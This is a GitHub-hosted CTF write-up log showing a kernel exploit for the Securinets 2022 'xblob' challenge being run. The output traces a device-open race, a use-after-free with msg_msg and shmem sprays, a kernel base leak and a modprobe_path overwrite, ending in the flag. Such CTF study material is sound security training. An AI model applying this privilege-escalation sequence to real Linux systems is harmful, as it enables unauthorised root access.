Kernel-Exploit-Dojo/2022/Securinets_CTF_Quals_2022/Pwn_xblob/writeup/writeup01.txt at main · mito753/Kernel-Exploit-Dojo · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
mito@ubuntu:~/CTF/Securinets_CTF_Quals_2022/Pwn_xblob/xblob$ python xpl.py r
[*] Compile
[+] Opening connection to 167.99.37.61 on port 9001: Done
[+] Starting local process './exec.sh': pid 73118
[*] Stopped process './exec.sh' (pid 73118)
[*] Booting
[+] Upload: Done
[*] Switching to interactive mode
$ ls
ls
messages     pwn          pwn.b64      resolv.conf
/tmp $ $ ./pwn
./pwn
[+] Prepare modprobe scripts
[+] Open msg_msg queues
[+] Try to race device opening to get two open fds
[+] Double open (4 / 3)
[+] Free g_buf by closing one fd
[+] Allocate msg_msg into freed g_buf
[+] Read msg_msg header into buffer
[+] Increase msg_msg size via device write
[+] Spray...
[+] spray shmem structs
[+] Try to leak kernel base
- kernel leak : 0
- kernel base : 0xffffffffff14d440
- modprobe    : 0xfffffffffff85260
[-] Failed to leak kernel base
/tmp $ $ ./pwn
./pwn
[+] Prepare modprobe scripts
[+] Open msg_msg queues
[+] Try to race device opening to get two open fds
[+] Double open (3 / 4)
[+] Free g_buf by closing one fd
[+] Allocate msg_msg into freed g_buf
[+] Read msg_msg header into buffer
[+] Increase msg_msg size via device write
[+] Spray...
[+] spray shmem structs
[+] Try to leak kernel base
- kernel leak : 0xffffffff8eab2bc0
- kernel base : 0xffffffff8dc00000
- modprobe    : 0xffffffff8ea37e20
[+] Overwrite fd to point above modprobe_path
[+] Reallocate freed chunk
[+] Overwrite modprobe_path
/tmp/dummy: line 1: \xff\xff\xff\xff: not found
securinets{1t's_v3ry_h4rd_2_byp4ss_SMAP_by_4bus1ng_timerfd_ctx}